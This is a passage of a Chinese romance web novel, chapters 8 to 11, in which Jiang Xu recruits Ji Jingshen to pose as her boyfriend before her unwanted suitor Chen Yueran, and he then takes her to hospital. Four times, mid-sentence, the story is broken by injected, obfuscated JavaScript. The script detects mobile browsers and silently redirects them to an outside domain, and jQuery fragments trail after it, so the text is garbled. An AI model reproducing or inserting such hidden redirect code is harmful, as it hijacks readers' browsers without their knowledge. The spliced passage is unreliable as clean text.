脑袋摇得跟拨浪鼓一样,他敷衍而又生疏地回季安棠:“不用了堂姐。” 季安棠:“惊扬,在我面前你不用害羞。” “真不用。”这次语气加重了几分,季惊扬嘲弄一笑:“我说过了,不需要你的弥补。” 一点过,外面一阵雷声,天空紫光破白。 雨声又烦躁恼人地砸了下来,姜许抱着电脑窝在办公室的一角,对着秦知瑶的照片进行了一个初精修。 手机疯狂地开始振动,宿醉后的陈越然回了她的消息。 陈越然:【明天下午三点?其实今天我就有空。】 陈越然:【你有没有什么想要的,明天我给你带过去。包包好不好?还是首饰?要不都带过去吧,我就乐意给你花钱。】 陈越然:【要不要先订个婚,结婚的事不着急,选婚纱和戒指还要一段时间。】 “……” 酒没醒吧这傻逼,她发的是见面消息,而不是告白消息。 姜许没再回了,继续盯着电脑里的照片。雨声夹杂之间,听到何月他们的八卦声 “她明明不适合这种甜美风嘛。” “这也没办法,柒渔那边好像最近力推秦知瑶,好好姐的资源肯定是会被打压一些的。” 听到熟悉的名字,姜许电脑前抬起头:“怎么了?” 何月把手机递了过来,上面是沈好好今早刚发的一组照片。风格和以往的肆意洒脱的截然不同,恬静乖巧得,像是被困在牢笼里的温顺宠物一样。 当初沈好好和星好解约时,她在巴黎看秀,回来后虽然问过了姜祁州,但那人闭口不谈。所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871172|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具体情况她并不知道,只是在解约前的半年,两人就已经出现了问题。 后来不久闹出了沈好好因为拒绝肆星娱乐赵总的潜规则,得罪了不少圈子里的资本方。姜祁州没再出手,事情愈演愈烈,到了沈好好合同到期,不再续约,转头去了柒渔。 姜祁州这人死鸭子嘴硬,表面不在意,实则天天关注。姜许不放心,也免不了多打听了一些。资源是降级了一些,但是接的角色都不错,最近还有一部剧要开机。只是,从女一号变成了女二号。 姜许点开沈好好的微信,一行字打了又删,反反复复好几次,还是没发过去。 傍晚时分,暴雨已经停了。 LS会所里,季惊深将面前的牌丢了出去。 三条。 场上最大的牌。 佳铭大少爷方浔最先给了反应,将季惊深面前的酒倒满,笑道:“季总还说不怎么会玩,这才第五局,我这都快输光了。” 季惊深礼节性地端起那杯酒,他的面前,摆满了筹码。酒只抿了一口,骨节修长的手指便将杯子放下,声音温淡:“方总过奖了,只是今日运气比较好。” 方浔笑笑不语。 最近安排下来的一个项目,北安这些个家族打算共同合作。其中季家掌握着最大的产业链,自然是要分一杯最大的羹。他便借着年幼时弟弟方厌和他与季家交好的情分,把季惊深给邀了出来。 他似乎并不习惯这样的场所,从坐下开始,神色始终是淡漠无太多表情。整个人在半明半暗的光线里,隐了大半。脸色虽有些病态的苍白,可那双黑眸冷沉而肃然,带着让人不容置疑的强盛气场。 什么来给季家大小姐收拾烂摊子。季家明明一开始,就全然属于这一位。 一旁的俞家少爷俞明礼连输五局,几千万都砸进去了倒也不生气,跟着和和气气地奉承一句:“这不运气也是实力的一部分,瞧我,今日运气不佳。” 方浔也笑着道:“你这些天运气倒是一般,不过听闻你那妹妹厉害得很。去年随手投资的一个项目,今年赚了不少。” 提到自家妹妹,俞明礼摇头叹道:“还不是沾了姜家妹妹的光,脾气一上头砸了钱,误打误撞的。” 方浔乐了:“还和那位姜家妹妹掐着呢?” 俞明礼提到这个也是无奈得很:“八字不合,从小掐到大。这不,听闻人家要联姻了,旅游都提前结束,下周回来打算看热闹了。” 筹码落在桌面的轻微响声。 俞明礼和方浔立马转头看去,季惊深随手把玩着面前的筹码,平静无痕的黑眸莫名的冷沉:“新兴和民江的联姻?” 方浔点头,知道季惊深刚回国应该还没去了解这种八卦,便道:“估计是要定了,我和陈家那位关系还不错,前些天,还问我有没有空当伴郎来着。” 季惊深扣着一枚筹码,神色昏暗不明。 方浔心里不知道怎么的有些发了毛,和身旁的俞明礼对视了一眼,很快地换了个话题。 十点过,季惊深率先起了身。道了别之后,方浔跟着一同离开。 “怎么,还在等你的姜大小姐啊?哎哟,我可是听1020房间的那位大少爷说,姜大小姐都快要联姻了,哪有时间来看你啊。” 季惊深脚步顿住,顺声看去。走廊候着的角落,站着两个年轻男人。最左边沉默寡言的那位,五官清隽温和,模样倒是不错。 被调侃了也只是温和地回道:“我和姜小姐什么都没有,你别胡乱说话,会给她带来麻烦。” “啧,痴心一片啊。” “季总,怎么了?”方浔回头。 季惊深继而往门口走去:“没什么。” 8. 第 8 章 不用工作的一天,姜许的行程倒也是排得满满当当的。 一点有个无聊的圈子大小姐的茶会,她照例受邀参加。本想着做个边缘型人物,能打听得来一些对姜祁州有用的消息就算是赚到。 结果她一落座,那些个八卦的眼神直勾勾地落在了她的身上。 大概是被前些天她在群里强硬的态度吓着,那些个八卦的大小姐也没敢太过分,只是小心翼翼地问她:“姜许,你真不打算和陈家联姻啊?” “嗯。”姜许敷衍。 周围的人也不敢多问了,毕竟姜许的性子她们都有目共睹。加上最近几年姜祁州的锐安风头正盛,他对民江和自己亲生父母的生死不管不问,却独独对姜许这个堂妹宠爱有加。明眼人都心知肚明,不会主动去触姜许的霉头。 “逸安现在是季家那个病秧子在打理?” 找了个角落的姜许困顿地打着盹,一道惊讶的声音突然响起,心脏忽得被惊了几分,她烦躁地掀开眼皮看过去。 身侧厉家的小姐正冷嘲一声:“就那个从小心脏不好,走两步喘三分钟的季家长子?叫什么来着……哎呀,反正据说也就是只有长得还不错。” “话说他年纪也三十了吧,这接管了逸安之后,下一步不会是联姻吧?” “我,我听说那位季大少爷长得很好看,掌管逸安之后有权有势的,要是我能和他联姻……” 厉安然语气尖锐得很:“还联姻?就他那个样子,要死不活的,嫁过去不是守寡吗?” 厉家前几年资金寒冬,仗着自己当初给季老爷子过过寿的这种“情分”,厚着脸皮狮子大开口。季家是不缺钱,可也没有到缺脑子的地步,委婉含蓄一番直接拒绝了。结果,这梁子就莫名其妙地结下了。 合着全天下都得供着他们厉家呗。 姜许心中鄙夷了几秒,便又听到厉安然越说越来劲:“要我说啊,这就是钱太多了压得慌,当初要是肯多行善积德,那位季大少爷,身体至于一直不好吗?” “可不嘛,当初你们厉家去借钱的时候,人家季家就应该一步三叩首的,求着你们收下他们的钱,然后再感恩戴德地谢你们给他们一次行善的机会。” 姜许突然开口,不高不低的声音,却也足够盖过这一圈子里的交谈声。 四下瞬间寂静下来,姜许端起面前的茶喝了一口润喉,见无人接话,又慢悠悠地问了句:“怎么,我说得不对?” “姜许,你什么意思?!”厉安然最先反应过来,眼睛狠狠地瞪着姜许。 “顺着你不要脸的话继续往下说啊。”姜许坦率得有些过分嚣张,见厉安然气急败坏又无可奈何的样子,忍不住嗤笑一声:“要是不要脸能当钱花,你们厉家不至于混得这么惨。” 厉安然又气又恼,想要做些什么,又顾及到姜许身后的姜祁州,只能硬生生忍住。 姜许也不再看她,慢条斯理地拿出小镜子补着口红,然后起身:“我劝各位,嘴巴还是积点德吧。这些话万一传出去,保准你们不是下一个顾家。” 这话一出,周围一圈人的脸色都变了。 顾家是个前车之鉴,几年前喝醉酒大放厥词,得罪了季安棠。隔天,顾家各种丑闻爆出来。苦苦支撑也不过是三个月,便在北安销声匿迹。 离开半敞开的包厢,姜许抬腿往电梯的方向走去,视线却猛地定格在几步之外的走廊上。 男人一袭黑色的西装,身形笔直而修长。头顶落着一盏灯,明明是最死亡的角度,却也难掩他的好看。清冷的眉眼平静地看向她,黑眸中冷寂而又疏离。他的眉骨太过于优越,灯光自头顶打下,半分都落不进他的眸中。 气氛安静得有些窒息。 姜许找回自己的声音:“好巧啊,季先生。” 季惊深:“不巧,我特地来的。” 他是有合作在这边? 姜许拿捏不准,回想起刚才自己在茶会上的嚣张态度,蓦然有些窘迫:“刚来?” “来了有一会了。” 哦。 那就应该是全部听到了。 气氛持续的尴尬。 一股羞耻感,莫名地涌上来。 轻咳一声,姜许若无其事道:“我还有事,季先生,我就先走了。” “去见陈家那位?” 季惊深朝她靠近了半步。距离被猛地缩短,姜许甚至能闻到季惊深身上的一股很浅的松木香。是她喜欢的一款限量款香水,她没能买到,便从姜祁州那里抢来了剩下的大半瓶,至今还丢在柜子里,一次都没舍得用过。 “是啊。” 姜许回,后知后觉地想起一件事。 季惊扬的比赛一点就该结束了,到现在快三点,一条短信没发,像是人间蒸发了一般。 她抬眸看向跟前的男人,季惊深的眉眼微垂,解了她的疑惑:“惊扬出了车祸。姜许,今天我来替他。” 姜许的脑袋有些炸开,一时间信息量有些过于的大了。 季惊扬车祸,那小子开车起来不管不顾的,她念叨过好几次都无济于事。这次撞着了,也不知道严不严重。 “左腿骨折,不是大伤,要养上一段时间。” 姜许松了口气,又开始接收下一个信息。她沉默几秒,反复看了好几眼季惊深。 男人神色平静,望向她的眼神里,依旧是没太多感情。从季惊深回国后,他们见面次数一只手都能数过来,生疏到除了逸安季总这个身份,她对季惊深的了解几乎为零。 比起微信里那一列不靠谱的小男生,他来和自己做戏骗过陈越然的可能性,更加微乎其微。 况且,季惊深看着就不像是一个会多管闲事的人,还是这种对他没有半点好处的事。一个刚回国的季家长子,前途大好,和她这样一个名声不好的娇小姐上演这种戏码…… 姜许觉得,季惊深大概是被季惊扬被哄骗来的。 于是,她措辞委婉地告知:“既然惊扬不方便,那今天就算了。” “姜小姐是觉得,我配不上你?” 突如其来的一句话。 姜许顿住,又听到季惊深继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871173|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续道:“或者是,由我来陪你做戏,丢了姜小姐的脸?” 怎!么!可!能! 季惊深的身份和家世,说她高攀都算是委婉了。 刚回国不久就成为圈子里的热门人物,别看那帮大小姐们一口一个病秧子,真要给她们选择的机会,怕是挤破了脑袋都想靠上面前这一位。 她仰头,远处的太阳较之刚才变化了些许的位置。光影偏爱的打在男人的脸上,黑眸似流漆,冷硬的五官渡上了一层暖色。 姜许想起自己过往那几段不怎么成熟的恋爱,时日不长不短,也过了些秀恩爱的节日。偶有兴致起的时候,她倒也会发些照片,不过大多数都是男人的背影。 宋小满也问过她几次,她当时是怎么回答的来着? 哦,对。 上不了台面。 是了。她没谈过圈子里的大少爷,可圈子里的千金却加了不少。尤其是俞晓染那厮,自从大二那年情人节,她心血来潮发了秀恩爱的照片后,“眼瞎”这两个字就扣在了她的评论区下。 至此,姜许再也没发过任何的男人的正脸照。 麻烦。 等以后哪天自己心境眼光不一样了,还容易成为一段黑历史。 可如果是季惊深的话…… 姜许想,她大概是要九宫格天天发,顺便置个顶。 毕竟,优秀作品,是该炫耀一番的。 秀气的眉头轻轻拧起,姜许试探:“季惊扬有和你说是什么事吗?” 季惊深神色坦然:“做姜小姐的男朋友。” “是假扮。”姜许补充强调,语气都重了几分:“就是走个过场,吃顿饭。” “嗯。”季惊深似乎并不在意这种无关紧要的细节,只是问:“所以,姜小姐觉得我不合适?” “倒也不是……”姜许抿唇。 手机响起,陈越然的电话打了进来。 她挂断。 季惊深将她为难的表情尽收眼底,神色稍稍淡了几分:“姜小姐不必多想,只是受惊扬所托帮个忙,你不用有负担。” 话到此,白送的好意还要几番推脱,倒是显得她太过于矫情了。 “那……。”姜许抬眸,先礼后兵:“季先生,冒犯了。” 手臂突然被柔软触感抱住,季惊深眸色幽深了几分,顺着手臂往上看去。 她今天穿得格外的张扬,暗红色的长裙包裹着姣好的曲线。白皙的手臂纤细,妆容较为之前都更为重彩。脖子轻轻扬着,露出那条前不久在拍卖会上以最高价格拍下的法式蝴蝶项链。 招摇,却也十分好看。 她很紧张。 挽住自己的手紧绷着,像是下了极大的勇气,才敢交握住他的手。 她紧张得连和自己对视都不敢,长而卷的睫毛轻轻扇着,在眼下投出半弧形的阴影。 掌下是和他截然不同的柔软触感,微微发热,还带着些许潮湿。 季惊深声音温浅:“不用那么紧张,以前是怎么来的,今天照做就好。姜许,我不吃人。” 9. 第 9 章 季惊深是不吃人,可是季家吃人。 姜许垂了垂眉,目光落在他们紧扣的十指上。男人的手掌很大,足够将她完全包裹住。温热而又干燥。指腹甚至能触碰到他微微凸起的经脉,燥热得很。 “几楼?”温润的声音在耳边落下。 姜许抬手按下五楼。 四周骤然逼仄了起来,电梯里模糊的四壁能看到季惊深侧目,视线落在她的身上,一贯的疏离温和,却莫名地让她紧张到不行。 “要不还是……” 电梯在此时打开,迎面撞上的是等待了好一会的陈越然。 “姜许,他谁啊!” 陈越然的声音将姜许的思绪拉了出来。 等她等了一会,其实也没多久。可陈越然等不及,也怕姜许找不到地方,提前在电梯口等着,却没想到看到了一个这么大的“惊喜”。 明艳张扬的女人与身侧矜冷的男人十指交握,晃一眼看去,相配极了。 如果那个女人不是他心心念念八年的姜许的话! “说话!”陈越然的声音都是从牙缝中挤出来的。 姜许视线落了过去。 大束的玫瑰花,红色交映的正中央,明晃晃的夹着一枚戒指。款式精致而又小巧,钻石的雕刻工艺一眼看得出它的价值不菲。 她太了解陈越然的性子,她要是单身,穷追不舍。要是有了对象,逼迫对方和自己分手再穷追不舍。 就像十八岁那年,陈越然恶劣地将她的初恋踩在脚下,冲她笑:“姜许,这辈子我都得缠着你,谁碰你,我就弄他!你可以继续找下一个,我看看北安哪个男人敢得罪我陈越然!” 所以她选择季惊扬,不为别的,陈越然再怎么混账,也不敢动季家的人。而且季惊扬那小子只把他当姐姐,不存在感情上的麻烦。 可现在…… 耳侧的温热气息落下,男人身上的味道扑了过来,一点点地将她带离出那场关于陈越然的噩梦。 “姜许。” 心口骤然落掉了一拍,她侧目看向季惊深,男人微微低着头,浅眸里专注而又认真。 手被他握得很紧,掌心被修长的手指拨弄着,她勉强能认出上面写的字。 “安心。” 安心什么? 安心他们今天演戏的事情不会传开,还是传开了他也有办法解决? 姜许的思绪乱乱的,从清楚知道季惊深今天来找她的意图之后,就乱成了一团麻。不想牵扯太深,却又被面前的陈越然逼着找不到更好的选择。 烦! 管他什么季惊深还是季惊扬,人到跟前就是给她用的。至于季老爷子那边…… 她烂命一条,有本事季老爷子就来弄她好了。再怎么样,都不会比和陈越然联姻更糟糕。 季惊深看着她沉默着,思绪翻转几次,柔软的头发擦过自己的下颚,一股属于小女生的香味扑入鼻尖。下颚有些痒痒的,细密的头发浅浅蹭着。 眉眼燥意在几息过后又松快下来,脑袋凑了过来,靠在了他的胸口。张扬而密卷的睫毛上扬着,声音很轻,却重重地扣在心口: “我给陈少爷介绍一下,这是我最近看上的——心肝宝贝。” “……##**!” 陈越然只知道自己气得心肝疼。 胡乱地点了一通绿油油的菜后,他的视线火辣辣地烧在了季惊深身上。 从落座包厢之后,姜许一如之前那样,该矫揉造作的就矫揉造作,该秀恩爱的就秀恩爱。 只是,又有些不同—— 握着季惊深的手轻轻颤抖着,好几次在那双平静得没有半点波澜的眸子下退缩后,却又被他反扣住。 “他在看。” 简单的三个字,成功地压住了姜许想要退缩的心。只能愧疚地看着季惊深,声音很轻:“辛苦了……” 从小不近女色的季家大少爷,这会跟个民男一样,被她玩弄调戏着。对方不适应,她也压力山大。 并没有。 季惊深的目光落在她的肩头,察觉到她微凉的手,将外套脱下,披在她的身上。 肩头压了些重量,那股松木香越发的浓郁好闻。 “天气还是凉的,多穿点。” 话音落,陈越然便冷哼了一声:“这算什么冷,当年她十五岁生日那天,我陪她去雪山拍照,零下的天气,她就穿着吊带。姜许她啊,才不是怕冷的小女生。” 他挑衅地提起自己和姜许的过去,姿态高傲。 看吧,他可是和姜许青梅竹马十几年,和她经历了那么多事情,感情是在的。要不是当年他混账,被丢到国外那么多年,现在他和姜许孩子都有了。 哪里轮得到面前这个小白脸出来蹦跶! 季惊深看向姜许,语气虽温和却带着几分低沉:“零下的天气,穿吊带?” 难怪都四月天了,手还冰冰冷冷的。 姜许:“?”这么入戏? 她不甘示弱,弯曲着手指在季惊深的手背上轻轻地戳了戳。男人的手指修长,青筋如同竹枝一样顺着静脉四散,像是上好的白玉一般,让她很是喜欢。 “一生要强的中国女人为了出片是这样的,宝宝你理解理解。” “宝宝”两个字从她的嘴中说出来,有几分软绵绵的,似是在撒娇的意味。尤其是,她的手格外的软,沾染了他的温度之后,描绘着他手指的形状。 酥酥麻麻的感觉,直入心脏。 季惊深握着的手紧了紧,姜许把玩的动作一顿,用眼神询问。 怎么了? “没事。”季惊深的嗓音微哑:“你继续玩你的。”视线轻移,落在陈越然身上。 这道眼神太过凌厉,陈家的小少爷也算是跟在父母身边见过不少大场面,可依旧是被看得心里犯怵。 不对! 陈越然反应过来。 特么的姜许快要是他未婚妻了,这莫名出来的男人跟小三有什么区别? 在他面前这么嚣张,找死啊! “咔吱!” 椅子被人粗鲁拽开的声音,原本坐在对面的陈越然忍不住了,一屁股坐在姜许身边,脾气暴躁:“姜许,他到底是谁,姓甚名谁?” 问清楚了,回头好找人弄他!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871174|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜许漫不经心地撩了撩长发,声音含笑:“不是说了吗,我心肝。比你好看,比你讨喜。陈越然,我要是你,我就自卑地滚回旧金山,十年内都不回来了。” 陈越然气急:“……我为什么要自卑!他这个小白脸能有我好?他除了一张脸还有什么。” “还有我对他的爱。”姜许微笑:“热烈,奔放的爱。” 手突然一紧,姜许侧目看去,季惊深依旧是那副清清冷冷的样子。 怎么,她戏飙过头了,季惊深接受不来? 从没得到过姜许半点爱的陈越然:“……你气死我算了!” 服务生很快端着饭菜上来,除了陈越然点的一大盆绿色菜系外,姜许还点了不少吃的。 新江饭店的菜她自小就喜欢,招牌菜合她胃口,一周不吃都要想念一番。可今天,她只尝了几口,便感觉有些不适。 匆匆起了身,手腕却被季惊深抓住:“不舒服?” 男人太过敏锐,察觉到她为了美不顾温度是这样,现在也是。 “没事,想去个洗手间。”姜许强忍恶心。 “我陪你。” 季惊深松开手的同时也起了身,却被陈越然拦住。 压抑了半小时怒火的陈越然暴躁开口:“我们聊聊?” 姜许已经消失在视野之中,季惊深没再追上去。黑眸一抬,毫无温度地落在陈越然身上。 他缓慢地坐下,骨节分明的手指握着壶把手,白雾伴随着热茶淌出,若有若无地笼罩在他的面前,气场骤然逼人了几分。 陈越然定住心神,笑了一声:“别装了。我看得出来,她压根就不喜欢你。” “所以?”季惊深抬眸,平静的黑眸淡得一丝情绪都没有,却莫名地给人一种压迫感。 单凭气质和颜值来说,陈越然自知他胜不过面前的男人。可他对于姜许是不一样的! 思及此,陈越然自信得很:“我和姜许认识十多年,她爱玩我也宠着,怎么样都无所谓。对你,顶多是新鲜感上头,玩玩而已。” 季惊深微微颔首,平静地问:“你们认识十多年,她对陈先生甚至连玩玩的心思都没有?” 陈越然:“!” 季惊深轻抿了一口茶,明明眼里没有任何情绪,陈越然就是看出了几分嘲讽意味:“看来陈先生在她心中,糟糕至极。” “我他妈!!”陈越然差点气得吐血,拳头都握紧了,又想到了什么,硬生生忍住。 操! 老头子警告过他,再像几年前那样胡来,他这辈子都别想回北安了! 咬了咬牙,陈越然嘴硬道:“她只是现在不喜欢我,等我们以后结婚了,感情可以慢慢培养!” “以后结婚?”季惊深缓缓念着他话语里的关键信息,放下茶杯:“你们不会。” 陈越然:“怎么就不会?” 季惊深看他一眼,平铺直叙地陈诉事实:“人的眼光总是往上走的,和我在一起之后,姜许不会再考虑你。” 陈越然:“……” 我****!! 他要弄死这个男人! 10. 第 10 章 洗手台的水淌过了手指缝。 姜许站了有一会了,呕吐的感觉压不下去,比前几天更严重。不仅想呕吐,还头晕。 缓了缓,她离开卫生间,往嘴里塞了颗话梅。身体还是不舒服的,可她也不敢让季惊深单独和陈越然待得太久。 大步回到包厢里,刚一推开门,听到的就是陈越然暴跳如雷的骂声。拳头紧握着,眼睛因为愤怒而微微红着。 姜许脸色微冷:“要疯滚回你家老爷子的医院去疯。” 陈越然咬牙切齿:“姜许,你哪找来的死绿茶!” 姜许:“?” 陈越然:“他趁你上洗手间,耀武扬威地挑衅我,你就喜欢这款的?” 谁? 季惊深吗? 姜许语气嘲弄:“酒还没喝就说胡话,陈越然,你能不能别那么幼稚。” 陈越然气得心口疼:“我没在和你开玩笑!” 虽然他用词稍微夸张了一些,但刚才跟前这男人的行为,不就是绿茶吗?! “陈越然,我也没在和你开玩笑。”头疼的感觉又重了一些,姜许缓了几秒,将话说到了最清楚:“我不喜欢你,也不会和你联姻。当然,你要是接受以后我用你的钱带十个八个男人在我们婚床上睡觉,或许我还能考虑考虑。” “姜许!”陈越然气得脑袋都快要爆炸了。 想揍人,想像以前那样不顾一切地发火。可是代价是,他有好多年没能见到姜许。 眼睛被气得有些红红的,拳头握紧了又松,最后像是只可怜的大狗狗一样,耷拉着脑袋:“我等你对他腻味的那天,反正,你赶不走我。” 姜许“呵呵”两声:“对他腻味了也轮不到你。” 和很多年前相似的话。陈越然不得不承认,刚才那个男人的话让他破防了。他的家世不错,样貌也算是上乘。姜许当年都能和那样的书呆子有上一段,怎么就独独对他,看都不看一眼! 丢在国外的这些年,他也听过朋友的建议。女朋友谈了一个又一个,性格像她的,样貌像她的,小动作像她的…… 最长的处了一个月,最短的,一小时不到。那些女生,像她,却远远不及她。姜许是独一无二的,谁都代替不了。 “姜许,我不在乎你是不是自愿嫁给我。我可以等,等到民江没有选择,你只能嫁给我的那天。” 饭局不欢而散,临走之前,陈越然执意把人送到了门口。演戏演到了全套,姜许只得转身上了季惊深的车。 多雨的季节,车子刚刚上了大路,绵绵的细雨又落了下来。脑袋疼得几乎要炸开,呕吐的感觉卡在喉咙里,又被姜许强忍下来。这车不便宜,更何况季惊深还在,她是要面子的。 大路行驶了二十分钟,窗外是市中心特有的高楼大厦。姜许往外头看了一眼,路很熟悉,却不是回她家的路:“这是去哪?” “医院。” 姜许抬眼:“你身体不舒服?” “不是我,是你。”季惊深嗓音微沉。 藏着的秘密骤然被揭开,对方神色坦然,显得她过于忸怩。胸口又闷了闷,姜许拒绝:“我身体没什么事。” 她不喜欢医院,上一次去还是被姜祁州强压着去做体检,但那都是两年前了。 季惊深墨色的瞳孔里一派的冷静毫无情绪:“去医院,或者去我家。” 不容置疑的态度。 按照姜许平日的性子,就算是姜祁州来了,也得回怼一句“你是我哥又不是我老子,我就不去除非你绑我”。 而此时,那股气焰在那双黑眸下,根本燃不起来,只剩下一句—— “医院。” 森然私立医院早年是季家投资,原本就是为了季惊深而存在,引进了不少的资源。连随便一个门诊医生都是各个领域退休被返聘回来老教授。 姜许也没想到,她能有一天享受着季惊深才有的待遇。 十几个医生围着她转了两个小时,各种仪器轮番上场。在确定她是肠胃炎之后,也没有放过她,硬是要从头到尾连头发丝都不放过,全部检查了一遍。 “作息不规律,经常熬夜,还有喝酒次数频繁,心情波动起伏过大……” 五十来岁的主任医生推着鼻梁上的镜框,板正地念着报告。 姜许本来就难受,虽然这会挂了水吃了药,但毕竟不是仙丹,见效没有那么快。耳边念叨一句句跟个魔咒一样,实在是令人头疼。可偏偏面前的是医生,也没有恶意,她总不能无理取闹。 只能求助地朝季惊深看去,眼神示意着—— 让他别念了,烦人得很。 她的肩头还披着自己的那件外套,大概是被折磨得狠了,那双平日里带着几分跋扈的眼眸都耷拉了几分,唇色惨白着,像是卸下了攻击的猫,无害又柔软。 “唐叔,你先去忙吧,这里有我照看就好。” 那个被称为唐叔的医生笑了笑:“行,这三瓶水挂完就行了。小姑娘可别仗着自己年轻,就不珍惜身体。” 终于回归安静,姜许轻舒了一口气。 她看向季惊深,手心不知道是因为医院闷热还是身体不适的缘故,微微有些潮湿黏腻。 “季先生。”姜许开了口:“今天的事情谢谢了,我这会也没事了,你要是忙的话,可以先回去。” 直到现在,姜许都感觉自己飘在云层中,飘飘然的,不真切。 她领着季惊深去见了陈越然,攀着他的肩膀,把玩着他的手,还喊他小心肝…… 这种事她不是第一次做了,和那些小男生演戏时,更嗲更做作的举动都有。对于季惊深,她委实矜持收敛了很多,却依旧觉得心慌不已。 “不忙。” 男人温沉的声音落了过来,却没有多少可信度。 他的手里还拿着平板,两秒前还在浏览着一份文件,此刻却像是为了证实这个根本不需要刻意拆穿的谎言一般,抽空和姜许的视线对上。 姜许:“……我朋友一会就来,可能不太方便,所以……” 季惊深了然点头,在姜许刚要舒一口气时,又道:“等姜小姐的朋友来了,我就离开,不会打扰你们。” 姜许沉默,闭眼,再睁眼。 很快拿出手机,无声地叹息。姜祁州前两天飞往巴黎,月底才回。季惊扬跟她同病相怜,而江小满…… 三分钟前在群里鬼哭狼嚎。 【傻逼老板,加加加加到厌倦!他老婆出差自己空虚寂寞,拉着我们一部门的人一起加班!】 【这逼班上不了一点,一点都上不了。】 得,也是个指望不上的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871175|176207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 放弃的摆烂,姜许懒得做任何挣扎。人家分分钟上亿的逸安大公子愿意在这陪着她,她又不吃亏。 身侧是无声处理文件的男人,时不时会接上几个电话,聊的都是姜许不太了解的内容。加上男人的声音温浅低沉,撞入耳中,有些醉人。姜许有了浅浅的睡意,却又强撑着不想在太阳落山的这个点破坏了生物钟。 她玩着手机,朋友圈刷了两回,正想要点开消消乐,面前递过来黑色的手机,搭在上面的手指骨节分明,张力十足—— “姜小姐,方不方便给个联系方式?” 这样的话,姜许听过很多次,大多数都是搭讪,带着不怀好意的目光。 可季惊深不同,他的眼里依旧是一片沉寂的海,连半点波浪都没有掀起。平缓而沉的语气和他刚才处理工作时一模一样。 她迟疑的片刻,季惊深的眉眼稍稍凝了几分锋芒,似无奈,又似压着几分欲出的不满:“姜小姐,和我交换联系方式是让你很为难的一件事吗?” “我不知道做了什么给姜小姐留下误会,对我一直避之如蛇蝎。” 姜许张了张嘴,一时间不知道该怎么解释。 点开了微信,她把二维码递了过去,欲盖弥彰地解释:“没有为难,就是有些惊讶。” “什么?” 姜许直白而坦诚:“季先生待人,一直这么……友好?” 琢磨半天,总算是找到个词。 季惊深眉眼微抬:“所以圈子里都是怎么传我的?” 姜许:“……” “不好相与,不近人情?” 姜许沉默这会,季惊深已经了然:“看来,还不止这些。” “……” 她没打算在正主面前继续深入这个话题,索性不再抵抗药效的后遗症,浅浅地打了个瞌睡,把自己缩进了被子里,背对着季惊深:“我困了。” “好。”季惊深敛着眉眼,视线定格在姜许的脸上,忽而开口:“陈家那边,打算怎么处理?” 姜许是真的困意上来了,话语含含糊糊的:“晾一段时间,到时候说我对你腻了,让季惊扬接任。” 握着平板一角的手逐渐收紧,隐隐看得见本就明显的青筋,此时更像是即将要破出的竹子一般。 胡泽的电话打来,只一秒就被季惊深挂断。他面无表情地点开和胡泽的对话框:【打字。】 那头的胡泽瞬间明白,却是一个头两个大。要说的事情太多了,这季总不方便,他得打字到什么时候。 哀叹了一声,胡泽老老实实地开始语音转文字,再删删减减,把大段大段的汇报内容输入过去。 季惊深一点点地看完,手指很轻地在屏幕上很轻地输入着。床上传来很浅的动作声,姜许翻了个身,没打点滴的手甩了过来,医院的病床不大,翻个身后她便处在了边缘处,无处安放的手恰好搭在他的大腿上。 那是一双极其娇嫩的手,指甲并不长,很惹眼的亮色美甲,衬得一双手更为白嫩秀气。似乎察觉到掌心下的触感不对,有些硬的指甲轻轻无意识地挠了两下。 季惊深的喉结紧了几分,隔着西装裤被挠的那一小块,仿佛像是被火烧起来了一般。不断地窜着火苗,顺着大腿的经络往上。 如同干涸地上突然出现的一颗参天大树。 11. 第 11 章 原本就不大的病房此刻燥热了几分,平板上的文件条条框框列在一起,密得季惊深无法专注。眉眼不自觉地低垂,纤细的手指微微弯曲,掌心透着几分红润。 他错开了眼,没什么心思再处理文件,索性看了眼手机。 通过验证不久的招财猫头像安安静静地躺在列表里,点开进去,入眼的是置顶的朝阳和落日。 朋友圈更新的频率算不上高,一周一条,记录着各种各样的大事小事。 